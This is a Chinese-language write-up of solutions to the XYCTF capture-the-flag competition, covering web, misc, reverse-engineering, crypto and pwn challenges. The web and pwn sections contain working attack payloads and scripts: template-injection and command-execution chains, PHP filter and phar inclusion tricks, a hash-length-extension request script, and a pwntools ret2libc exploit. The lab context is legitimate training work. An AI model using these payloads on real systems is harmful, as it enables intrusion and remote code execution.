XYCTF_WP_BY_Gr%1m

img

image-20240428155637154

Web

ezhttp

登陆框,注释藏密码,robots.txt

imgimgimg

登陆看看,事多的很,来自yuanshen.com, XYCTF ua头,本地地址绕过

Referer: yuanshen.com

User-Agent: XYCTF

Client-Ip: 127.0.0.1

Via: ymzx.qq.com

Cookies: XYCTF=1

imgimgimgimgimg

img

warmup

先过md5弱比较0e绕过,然后双0e, 然后覆盖变量0e绕过

?val1=s1885207154a&val2=s1836677006a&md5=0e215962017&XYCTF=s1885207154a&XY=s1885207154a

imgimg

img

img

没看到执行命令,preg_replace /e模式代码执行,intval可以数组绕过

?a=/sss/e&b=system(‘cat /flag’)&c=sss POST a[]=1

ezmd5

经典的两个md5一样的图片传入 https://m.yuzhenhai.com/view/201706/33755.html

img

img

复读机

用题目所给附件字典,使用admin作为用户名,爆破得到账号密码 admin asdqwe

img

img

之后提示只能看懂中文,输入中文试试,输出多出了一对大括号,还有一定的waf过滤

img

img

构造payload执行命令得到flag,直接hackbar

%print(()|attr(request.args.a))|attr(request.args.base)|attr(request.args.sub)()|attr(request.args.getit)(132)|attr(request.args.ini)|attr(request.args.glo)|attr(request.args.getit)(request.args.p)(request.args.cmd)|attr(request.args.r)()%&a=__class__&base=__base__&sub=__subclasses__&getit=__getitem__&cmd=cat /flag&ini=__init__&glo=__globals__&p=popen&r=read

img

XYCTF{55270d20-01aa-491d-94d7-7ebf17d37622}

牢牢记住,逝者为大

RCE需要防止拼接后的字符串的注释 还有后续拼接影响传入的参数

用%0D换行防止#man注释,然后%23#注释掉后面的,manba out,进行RCE

img

$GET传参绕过长度限制,不能包含有flag,使用8进制绕过

cp /flag x 复制flag文件到当前目录下的x文件中

img

?cmd=%0d$_GET[c];%23&c=$’\143\160’+$’\57\146\154\141\147’+$’\170’

img

访问/x得到

img

ezPOP

利用数组绕过throw抛出异常,AAA类触发BBB的__get, BBB类构造RCE,

POST传a=implode&b=system implode将a以外的POST组合成字符串callfunc, 执行system

img

img

ezMake

直接反引号重定向读, ez

img

ez?Make

不给/,不给flag, 命令多了很多,分步cd到根利用more和ascii读flag

img

ez??M@ke

MakefileRCE 经过测试 数字和字母均不能使用 白名单字符有 $@()<>[]{}|

由于Makefile特点会将一些特殊字符替换成文件或目录其中

$@ => FLAG $< => /flag

那么构造$(</flag) 需要转义第一个$, 得到RCE=$$(<$<),

后续发现这个payload可以这打三个题,Makefile, 学到了

img

ezRCE

八进制RCE秒了,确实ez,cat</flag

img

img

ezSerialize

把password赋值成token的地址,你token咋变passwd咋变

imgimg

imgimg

img

从代码执行位置反向推链子

img

这里的判断,adwa的两个属性分别在不同的类中

$this->adwa->crypto0 != ‘dev1l’ or $this->adwa->T1ng != ‘yuroandCMD258’

把XY1放crypto0和T1ng,adwa在XY2里面,成为XY1类的Object,

img

ezClass

找个原生类方法能把数组的内容变字符串或者代码的

img

?a=ArrayIterator&aa[]=system&b=ArrayIterator&bb[]=cat%20/flag&c=current

img

Login

见login必看register

img

登陆进去后没啥东西, hello admin,开了好几次容器

看看http头 RememberMe? php还loginphp??有点蒙 RememberMe这么长不对劲啊

反向思维直接排除php排除shiro 那就py的pickle反序列化->有waf

改一下S_

img

img

img

连连看到底的什么是连连看

https://github.com/wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT

将脚本file_to_use变量改为所需的/etc/passwd

过强比较 多次base64编码, 测试靶机需要六次编码

XYCTF -> base*6 -> Vm0xd1ExbFhUWGhUYTJSWVlURndXVlpXUlE

python php_filter_chain_generator.py –chain Vm0xd1ExbFhUWGhUYTJSWVlURndXVlpXUlE

最后编码长payload 传参

img

Pharme

看题目名phar相关,注释提示class.php

img

img

正则简单来说就是在匹配函数, 利用随机读取数组元素读文件 payload

img

文件包含不允许phar开头 利用压缩流伪协议, 上传页面有过滤, 改文件名为jpg结尾

img

img

file=compress.zlib://phar:// /tmp/回显文件名 进行包含

ezLFI

尝试了一阵,发现file可以包含,根目录没flag找了好久也没,看一下php版本

后面看到有附件

img

附件里看到有readflag, 很喜欢长payload编码一句话啊,传参执行命令/readflag

img

givemeflag

hash扩展攻击,利用https://github.com/shellfeel/hash-ext-attack里面的类,然后重写一下init

run inputrun方法直接对靶机进行请求,time+5, flag长度猜测为xyctf{}+uuid == 43多试几次

img

import urllib, requests, time, sys from loguru import loggerfrom common.HashExtAttack import HashExtAttack class HashExtAtt(HashExtAttack):  def __init__(self):    super().__init__()    self.know_text = b""    self.know_text_padding = b""    self.new_text = b""    self.rand_str = b''    self.know_hash = b""    self.key_length = b''   def run(self, know_text, know_hash, rand_str, key_len) -> tuple:    # self.know_text = input("请输入已知明文:")    self.know_text = ("*" * key_len + know_text).encode()  # 密钥拼接    self.know_hash = know_hash.encode()    self.rand_str = rand_str.encode()    self._guess_new_hash()    return self.new_text[key_len:], self.new_hash   def input_run(self):    try:      web_port = input("请输入本次靶机端口: ")      knw_hash = input("请输入已知hash: ")      count = 0    except KeyboardInterrupt:      logger.info("用户取消输入")      exit(0)    while count != -1:      time1 = int(time.time()) + 5 # 时间延迟      result = self.run("", knw_hash, str(time1), 43)  #这里的43为猜测的flag长度      encoded_text = urllib.parse.quote(result[0])       while count < 6:        targ_url = f'http://localhost:{web_port}/?value='        r = requests.get(targ_url + encoded_text[:encoded_text.index('171')] + '&md5=' + result[1])        count += 1        print(count, end=' ')        if 'yes' in r.text:          count = -1          print(r.text)          break      count = 0 if __name__ == '__main__':   logger.remove()  logger.add(sys.stderr, level="INFO")  HashExtAtt().input_run() 

babyserialize,ez做出来了baby的没做出来

Misc

签到

公众号有

img

ez_隐写

img

hint.png打不开?? 爆破一下宽高(ZG神器), 还有一个带密码的zip 猜测hint中有密码

img

img

img

XYCTF愚人节开赛 解压密码:20240401, 打开后文件名:WATERMARK用水印工具提取:

img

XYCTF{159-WSX-IJN-852}

熊博士

img

彩蛋

在网站上? 到处点点, 刚开始只找到前后两段, 中间那段三天后翻群里聊天记录, 说就在眼前,还是最常见的misc, 猜到图片

第一段: 每三位 八进制转字符串 得到第一段flag XYCTF{this_a_

img

img

第二段 网站下载那个标题图片 webp转png, zsteg查看rgb -> dvorak解码

ffmpeg -i poster.webp poster.png

img
img

what keyborad键盘布局编码 dvorak网站http://wbic16.xedoloh.com/dvorak.html

img

bl0ckbuster_for_png_and_i_think_yon_can_

第三段 二进制 7to8bit 转字符串

img

img

尾巴 find_it}

XYCTF{this_a_bl0ckbuster_for_png_and_i_think_yon_can_find_it}

网络追踪

img

wireshark 打开 看到没有http包,查看内网渗透,smb包发现guest

img

追踪tcp流,stream数字向上翻, 查到4147发现flag.txt

xxcode解码发现是假flag
imgimg

在翻tcp流的时候看到很多smb测试连接, 看到一个包有Nmap

img

筛选原ip为目标机的ack包,并且去掉rst包,得到4个端口回应,其中1065->4444应该是后门连接所以去掉,尝试提交flag 确认为CVE-2008-4250

img

XYCTF{192.168.204.133_445_139_135_CVE-2008-4250}

game

google识图看看,https://lparchive.org/Papers-Please/Update%2002/ 翻到最下面看到了这个图

imgimg

img

XYCTF{Papers,Please}

zzl的护理小课堂

进去还以为是问卷,结果是护理题,我先看看flag。。。

img不直接看就不直接看,我改包看。

imgimg

XYCTF{2zI_731L_yoU_534547b96290}

ZIP神之套

img

爆一下全数字, 有密码xyctf20240401ftcyx

img

两个压缩包,一个有密码的多了个flag.md其他的都一样,压缩包明文攻击?

麦格币的爆了一宿12h??才出来,2c虚拟机有点弱

img

imgXYCTF{1A4B8-C9D2F3E-6A4B8C-9D2F3E7F}

TCPL

运行就给?能运行?我信你个鬼

直接radare2, 看到了字符其实到这里已经解了, FMCD UJD一眼索引异或,再去看一下汇编

img

img

确定索引异或了, 直接py生成式, 交flag不对 上面查看strings的时候有个please replace

img

下面星号猜测是要替换的数字, 0 3 6 9都有点像都试试, 最后是0

FLAG{PLCT_An4_r0SCv_x0huann0}

真>签到

太真了,希望更多真诚的出题人���

img

出题有点烦

压缩包弱密码123456 解出flag.7z => 7z x flag.7z 五个图片 binwalk *,4和5都有点大啊

img

5.png里有个压缩包unzip -l看一下 密码都写在目录里了 :xyctf

img

oinst1

img

img

img

这几条路尝试一遍

xyctf{江苏省|南通市|滨海东路|黄海}

oinst2

img

出题人:@古希腊掌管可哀小南梁的神

出题人“朝雾”的qq空间找到原图, G3293 河南洛阳龙门站 开往泸州

img

时间对的上 xyctf{G3293|河南省|老君山} 景区名字爆破

Ezoinst

图片放stegsolve翻翻看水印

img

www.hi2future.com 翻到那页点进去看评论

img

base1024*2

自己写的脚本解出来的全是乱码,misc总会有工具的

https://nerdmosis.com/tools/encode-and-decode-base2048

img

XYCTF{84ca3a6e-3508-4e34-a5e0-7d0f03084181}

美妙的歌声

audacity看看,多频谱有XYCTF_1s_w3ll 这是?

img

deepsound放进去的密码哦 解出flag.txt

imgimg

我的二维码怎么扫不出来

循环*7, 每次随机0-24, 复杂度(24**7) *(2**7) 爆不了哇,修吧

img

imgimg

先修四个校验点,1行0 2 5列,re一下

下面这两,行列 应该是黑白间隔的

imgimg

imgimg

微信扫码 flag{qR_c0d3_1s_s0_fun}

Rosk,Paper,Scissors!

没看明白想骂娘,强爆,暴力美学

固定第一round 为Rock,输了就重连,赢了就开始猜,每次把下一把的答案append进列表

赢爆100round ,3分半 34round还算挺快, 最后测出序列

img

imgimg

最后跑了好几遍,他判断count>100但是到100的时候就输出flag了没收到,还好保存了log中的正确序列

Reverse

聪明的信使

encrypt之后和一直字符串比较,传入参数输入和9 主要分析encrypt函数,9应该是key

imgimg

从加密函数上看,只有字母和9相加,还原-9即可

img喵喵的flag碎了一地

字符串查表先拿第一块,看main函数,搜索funcions第二块,然后他说最后一块在刚才的func里面,反编译一下看到在交叉引用的部分

img

img

img

img

img

定位到这个函数查看交叉引用,sym.func718 反编译看到很多字符

img

img

flag{My_fl@g_h4s_br0ken_4parT_Bu7_Y0u_c@n_f1x_1t!}

你真的是大学生吗

判断输入进行逐个xor之后与0x000:0019处的字符串相等, 提取出来xor一下

img

img

xyctf{you_know_8086}

DebugMe

Androidkiller,

xml里添加android:debuggable=”true”
apktool.yml改29

img

img

img

编译好之后,用jadx-gui打开,打开waydriod调试,adb install theapk

img

img

ezRand

根据已知明文头爆破求解种子,然后同样的方式拿随机数序列异或求明文出flag

imgimg

img


#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <Windows.h>
#include <string.h>

int main()
{
	int v9 [7] = { 0 };
	int v7 = 0;
	int m = 0;
	v9[0] = 0xEA6C0C5D;
	v9[1] = 0x34FC1946;
	v9[2] = 0x72362B2;
	v9[3] = 0xFB6E2262;
	v9[4] = 0xA9F2E8B4;
	v9[5] = 0x86211291;
	v9[6] = 0x43E98EDB;
	int seed = 0;
	int temp = 0;
	char input[]="XYCTF{";
	int i = 0;
	for (; i <0xffff ; i++)
	{
		srand(i);
		for (m = 0; m < 4; m++)
		{				
			v7 = rand();
			if (((input[m] ^ (unsigned __int8)(v7 + ((((unsigned __int64)(2155905153 * v7) >> 32) & 0x80000000) != 0)
				+ ((int)((unsigned __int64)(2155905153 * v7) >> 32) >> 7))) != *((char*)v9 + m)))
			{					
				break;
			}
		}
		if (m == 3)
		{

			printf("爆破结果为:0x%X\n", i);
			return 0;
		}			
	}
}

ezCube

img

这里main函数对魔方初始化并对红绿蓝进行操作表示未拼好的地方

switch中是四种拧魔方的动作,RUru,

img

最后复原函数判断了步数是否大于0xd, 12,flag长度应该是12,最多复杂度4**12,不拧了

直接爆破美学,copywrite mian中的函数


#include<stdio.h>
#include<time.h>
#include<stdlib.h>
#include<string.h>

#define __int64 long long
char m0[9], m1[9], m2[9], m3[9], m4[9], m5[9];
void  R(){
    __int64 v0; // [rsp+28h] [rbp+8h]
    __int64 v1; // [rsp+48h] [rbp+28h]
    __int64 v2; // [rsp+68h] [rbp+48h]
    __int64 v3; // [rsp+88h] [rbp+68h]
    __int64 v4; // [rsp+A8h] [rbp+88h]
    v0 = m0[2];
    v1 = m0[5];
    v2 = m0[8];
    m0[2] = m5[2];
    m0[5] = m5[5];
    m0[8] = m5[8];
    m5[2] = m3[6];
    m5[5] = m3[3];
    m5[8] = m3[0];
    m3[0] = m4[8];
    m3[3] = m4[5];
    m3[6] = m4[2];
    m4[2] = v0;
    m4[5] = v1;
    m4[8] = v2;
    v3 = m2[1];
    m2[1] = m2[3];
    m2[3] = m2[7];
    m2[7] = m2[5];
    m2[5] = v3;
    v4 = m2[0];
    m2[0] = m2[6];
    m2[6] = m2[8];
    m2[8] = m2[2];
    m2[2] = v4;
}
void  U(){
    __int64 v0; // [rsp+28h] [rbp+8h]
    __int64 v1; // [rsp+48h] [rbp+28h]
    __int64 v2; // [rsp+68h] [rbp+48h]
    __int64 v3; // [rsp+88h] [rbp+68h]
    __int64 v4; // [rsp+A8h] [rbp+88h]
    v0 = m0[0];
    v1 = m0[1];
    v2 = m0[2];
    m0[0] = m2[0];
    m0[1] = m2[1];
    m0[2] = m2[2];
    m2[0] = m3[0];
    m2[1] = m3[1];
    m2[2] = m3[2];
    m3[0] = m1[0];
    m3[1] = m1[1];
    m3[2] = m1[2];
    m1[0] = v0;
    m1[1] = v1;
    m1[2] = v2;
    v3 = m4[1];
    m4[1] = m4[3];
    m4[3] = m4[7];
    m4[7] = m4[5];
    m4[5] = v3;
    v4 = m4[0];
    m4[0] = m4[6];
    m4[6] = m4[8];
    m4[8] = m4[2];
    m4[2] = v4;
}
void r(){

    __int64 v1; // [rsp+28h] [rbp+8h]
    __int64 v2; // [rsp+48h] [rbp+28h]
    __int64 v3; // [rsp+68h] [rbp+48h]
    __int64 v4; // [rsp+88h] [rbp+68h]
    __int64 v5; // [rsp+A8h] [rbp+88h]


    v1 = m0[2];
    v2 = m0[5];
    v3 = m0[8];
    m0[2] = m4[2];
    m0[5] = m4[5];
    m0[8] = m4[8];
    m4[2] = m3[6];
    m4[5] = m3[3];
    m4[8] = m3[0];
    m3[0] = m5[8];
    m3[3] = m5[5];
    m3[6] = m5[2];
    m5[2] = v1;
    m5[5] = v2;
    m5[8] = v3;
    v4 = m2[1];
    m2[1] = m2[5];
    m2[5] = m2[7];
    m2[7] = m2[3];
    m2[3] = v4;
    v5 = m2[0];
    m2[0] = m2[2];
    m2[2] = m2[8];
    m2[8] = m2[6];

    m2[6] = v5;
}
void u(){
    __int64 v0; // [rsp+28h] [rbp+8h]
    __int64 v1; // [rsp+48h] [rbp+28h]
    __int64 v2; // [rsp+68h] [rbp+48h]
    __int64 v3; // [rsp+88h] [rbp+68h]
    __int64 v4; // [rsp+A8h] [rbp+88h]
    v0 = m0[0];
    v1 = m0[1];
    v2 = m0[2];
    m0[0] = m1[0];
    m0[1] = m1[1];
    m0[2] = m1[2];
    m1[0] = m3[0];
    m1[1] = m3[1];
    m1[2] = m3[2];
    m3[0] = m2[0];
    m3[1] = m2[1];
    m3[2] = m2[2];
    m2[0] = v0;
    m2[1] = v1;
    m2[2] = v2;
    v3 = m4[1];
    m4[1] = m4[5];
    m4[5] = m4[7];
    m4[7] = m4[3];
    m4[3] = v3;
    v4 = m4[0];
    m4[0] = m4[2];
    m4[2] = m4[8];
    m4[8] = m4[6];
    m4[6] = v4;
}
int main() {

    __int64 i = 0;
    int h = 0;

     i = 0x111111111111;
     for (int i1 = 0; i1 < 4; i1++) {
         for (int i2 = 0; i2 < 4; i2++) {
             for (int i3 = 0; i3 < 4; i3++) {
                 for (int i4 = 0; i4 < 4; i4++) {
                     for (int i5 = 0; i5 < 4; i5++) {
                         for (int i6 = 0; i6 < 4; i6++) {
                             for (int i7 = 0; i7 < 4; i7++) {
                                 for (int i8 = 0; i8 < 4; i8++) {
                                     for (int i9 = 0; i9 < 4; i9++) {
                                         for (int i10 = 0; i10 < 4; i10++) {
                                             for (int i11 = 0; i11 < 4; i11++) {
                                                 for (int i12 = 0; i12 < 4; i12++) {
                                                     // 执行具体操作
                                                     int input[12];
                                                     input[0] = i1;
                                                     input[1] = i2;
                                                     input[2] = i3;
                                                     input[3] = i4;
                                                     input[4] = i5;
                                                     input[5] = i6;
                                                     input[6] = i7;
                                                     input[7] = i8;
                                                     input[8] = i9;
                                                     input[9] = i10;
                                                     input[10] = i11;
                                                     input[11] = i12;
                                                     for (int b = 0; b < 9; ++b)
                                                     {
                                                         m0[b] = 0;
                                                         m1[b] = 1;
                                                         m2[b] = 2;
                                                         m3[b] = 3;
                                                         m4[b] = 4;
                                                         m5[b] = 5;
                                                     }
                                                     m1[1] = 0;
                                                     m0[1] = 2;
                                                     m2[1] = 1;

                                                     for (int g = 0; g < 12; g++)
                                                     {
                                                         switch (input[g])
                                                         {
                                                         case 0:
                                                             R();
                                                             break;
                                                         case 1:
                                                             U();
                                                             break;
                                                         case 2:
                                                             r();
                                                             break;
                                                         case 3:
                                                             u();
                                                             break;
                                                         }

                                                     }
                                                     int v1 = 0;
                                                     for (i = 0; i < 9; ++i)
                                                     {
                                                         if (m0[i] == 0)
                                                             ++v1;
                                                         if (m1[i] == 1)
                                                             ++v1;
                                                         if (m2[i] == 2)
                                                             ++v1;
                                                         if (m3[i] == 3)
                                                             ++v1;
                                                         if (m4[i] == 4)
                                                             ++v1;
                                                         if (m5[i] == 5)
                                                             ++v1;
                                                     }

                                                     if (v1 == 54)
                                                     {
                                                         for (int t = 0; t < 12; t++)
                                                             printf("%d", input[t]);
                                                         return 0;
                                                     }
                                                     //030101032300
                                                     //RuRURURuruRR
                                                 }
                                             }
                                         }
                                     }
                                 }
                             }
                         }
                     }
                 }
             }
         }
     }

}

TrustMe

emmm万能密码sql注入

imgimg

砸核桃

核桃有壳,so这个也有个ns壳

imgimg

flag长度42, 和已知长度16的key进行异或与密文匹配

img

img

何须相思煮余年

img

这是, enc是密文, 上面的这么长得是算法吧, 机器码转汇编, 在线工具转

https://defuse.ca/online-x86-assembler.htm#disassembly2

Disassembly:

0:  55            push  ebp
1:  8b ec          mov   ebp,esp
3:  81 ec a8 00 0a 10    sub   esp,0x100a00a8
9:  40            inc   eax
a:  41            inc   ecx
b:  03 3c 58         add   edi,DWORD PTR [eax+ebx*2]
e:  94            xchg  esp,eax
f:  5f            pop   edi
10: c6            (bad)
11: 89 c0          mov   eax,eax
13: 00 6a 08         add   BYTE PTR [edx+0x8],ch
16: d8 56 0f         fcom  DWORD PTR [esi+0xf]
19: ff            (bad)
1a: ff f5          push  ebp
1c: 0e            push  cs
1d: 87 ac 00 83 c4 cc 78   xchg  DWORD PTR [eax+eax*1+0x78ccc483],ebp
24: 55            push  ebp
25: 8f            (bad)
26: ff            (bad)
27: ff f2          push  edx
29: 70 00          jo   0x2b
2b: c7 85 5c ff ff ff 00   mov   DWORD PTR [ebp-0xa4],0xf8eb0000
32: 00 eb f8
35: b8 d5 cf ff ff      mov   eax,0xffffcfd5
3a: f8            clc
3b: 3c 11          cmp   al,0x11
3d: 89 8d 5c ff ff ff    mov   DWORD PTR [ebp-0xa4],ecx
43: 83 bd 5c ff ff ff 27   cmp   DWORD PTR [ebp-0xa4],0x27
4a: f8            clc
4b: de d0          (bad)
4d: 00 8b 95 5c ff ff    add   BYTE PTR [ebx-0xa36b],cl
53: ff 81 e2 30 08 07    inc   DWORD PTR [ecx+0x70830e2]
59: 95            xchg  ebp,eax
5a: 4a            dec   edx
5b: 83 ca fc         or   edx,0xfffffffc
5e: 42            inc   edx
5f: 85 d2          test  edx,edx
61: 75 25          jne   0x88
63: 8b 85 5c ff ff ff    mov   eax,DWORD PTR [ebp-0xa4]
69: 8b 8c 85 60 ff ff ff   mov   ecx,DWORD PTR [ebp+eax*4-0xa0]
70: 38 d5          cmp   ch,dl
72: cf            iret
73: ff            (bad)
74: ff            (bad)
75: f8            clc
76: b9 55 cf ff ff      mov   ecx,0xffffcf55
7b: f8            clc
7c: 98            cwde
7d: c9            leave
7e: 56            push  esi
7f: 0f ff ff         ud0   edi,edi
82: fe            (bad)
83: 9a c0 00 8b 85 5c ff   call  0xff5c:0x858b00c0
8a: ff            (bad)
8b: ff 25 30 08 07 95    jmp   DWORD PTR ds:0x95070830
91: 48            dec   eax
92: 83 c8 fc         or   eax,0xfffffffc
95: 40            inc   eax
96: 83 f8 17         cmp   eax,0x17
99: 52            push  edx
9a: 28 b8 d5 cf ff ff    sub   BYTE PTR [eax-0x302b],bh
a0: f8            clc
a1: b9 48 d6 0f ff      mov   ecx,0xff0fd648
a6: ff f2          push  edx
a8: b9 55 cf ff ff      mov   ecx,0xffffcf55
ad: f8            clc
ae: b8 55 cf ff ff      mov   eax,0xffffcf55
b3: f8            clc
b4: 99            cdq
b5: 48            dec   eax
b6: 56            push  esi
b7: 0f ff ff         ud0   edi,edi
ba: fe            (bad)
bb: b7 38          mov   bh,0x38
bd: b8 d5 cf ff ff      mov   eax,0xffffcfd5
c2: f8            clc
c3: 1e            push  ds
c4: 13 00          adc   eax,DWORD PTR [eax]
c6: 80 79 54 98       cmp   BYTE PTR [ecx+0x54],0x98
ca: 3c 9f          cmp   al,0x9f
cc: c4 18          les   ebx,FWORD PTR [eax]
ce: 3f            aas
cf: 92            xchg  edx,eax
d0: 75 23          jne   0xf5
d2: 8b 95 5c ff ff ff    mov   edx,DWORD PTR [ebp-0xa4]
d8: 8b 84 95 60 ff ff ff   mov   eax,DWORD PTR [ebp+edx*4-0xa0]
df: fa            cli
e0: f8            clc
e1: 55            push  ebp
e2: cf            iret
e3: ff            (bad)
e4: ff            (bad)
e5: f8            clc
e6: b8 d5 cf ff ff      mov   eax,0xffffcfd5
eb: f8            clc
ec: 98            cwde
ed: 48            dec   eax
ee: d6            (bad)
ef: 0f ff ff         ud0   edi,edi
f2: fe            (bad)
f3: b3 88          mov   bl,0x88
f5: b9 55 cf ff ff      mov   ecx,0xffffcf55
fa: f8            clc
fb: 1e            push  ds
fc: 23 00          and   eax,DWORD PTR [eax]
fe: 80 79 54 a8       cmp   BYTE PTR [ecx+0x54],0xa8
102:   3c af          cmp   al,0xaf
104:   c4 28          les   ebp,FWORD PTR [eax]
106:   3f            aas
107:   a3 75 20 8b 85      mov   ds:0x858b2075,eax
10c:   5c            pop   esp
10d:   ff            (bad)
10e:   ff            (bad)
10f:   ff 8b 8c 85 60 ff    dec   DWORD PTR [ebx-0x9f7a74]
115:   ff            (bad)
116:   ff 33          push  DWORD PTR [ebx]
118:   8d 5c ff ff       lea   ebx,[edi+edi*8-0x1]
11c:   ff 8b 95 5c ff ff    dec   DWORD PTR [ebx-0xa36b]
122:   ff 89 8c 95 60 ff    dec   DWORD PTR [ecx-0x9f6a74]
128:   ff            (bad)
129:   ff            (bad)
12a:   e9 f7 fe ff ff      jmp   0x26
12f:   33 c0          xor   eax,eax
131:   8b 4d fc         mov   ecx,DWORD PTR [ebp-0x4]
134:   33 cd          xor   ecx,ebp
136:   e8 40 00 8b e5      call  0xe58b017b
13b:   5d            pop   ebp
13c:   c3            ret 

enc长度0x27

img

用python将hex写入文件 r2和ida分析

img

今夕是何年

真 运行给 后续向出题人师傅了解了一下 因为安装了qume-user相关的包, 然后执行的时候自动选择了对应架构也就是LoongArch 后续我自己试了一下qemu-loongarch64 ./main 可

img

Crypto

代码太多了,doc格式不好复制,太丑,完整具体wp在 https://blog.enxm.top/20240428/xyctf-crypto-wp.html
(纯强迫症)

signin signin rvg

两个flag

img

x0r

img

babyRSAMAX

img

complex_dlp

img

fakeRSA

img

factor1

img

factor3

img

Random_rr

img

反方向的密码 相思

img

happytosolve1

img

happytosolve2

img

happytosolve3

img

重生之我要当oi爷pro

img

img

img

PWN

hello_world

没开canary,buf[20] read 0x48,明显的栈溢出

img

img

通过第一个输入到rbp 输出 libc地址, 通过libc基址,获取其他函数地址

img

覆盖返回地址为system


from pwn import * 
pwnfile='bin/vuln'

r=remote("127.0.0.1",45197)
#r=process(pwnfile)

elf=ELF(pwnfile)
context.log_level="debug" 

r.recvuntil(b'please input your name: ')
r.sendline(b'a'*0x27) 

addr = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) 
libc_base=addr-0x29d90one=libc_base+0xebd43rbp=libc_base

r.recvuntil(b'please input your name: ')
pld=b'a'*0x20+p64(rbp)+p64(one)

r.sendline(pld) 
r.interactive()

invisible_flag

防护很高,mmap mod==7 可读写可执行 read0x200 打shellcode的

img

img

禁提权,禁open,用openat打开文件,读写用sendfile绕过

img

题目名字静态链接 给了0x100-0x20-0x8溢出空间

img

img

img

add rax, 1;ret 59个, rax赋值59

Guestbook1

max(index)==0x20==32 可以溢出覆盖到rbp

img

imgimgimgimg

利用上面的while True对栈上全写backdoor后门函数,

最后覆盖rbp的最低一字节造成栈迁移

刚好两段leave;ret;造成栈迁移

babyGift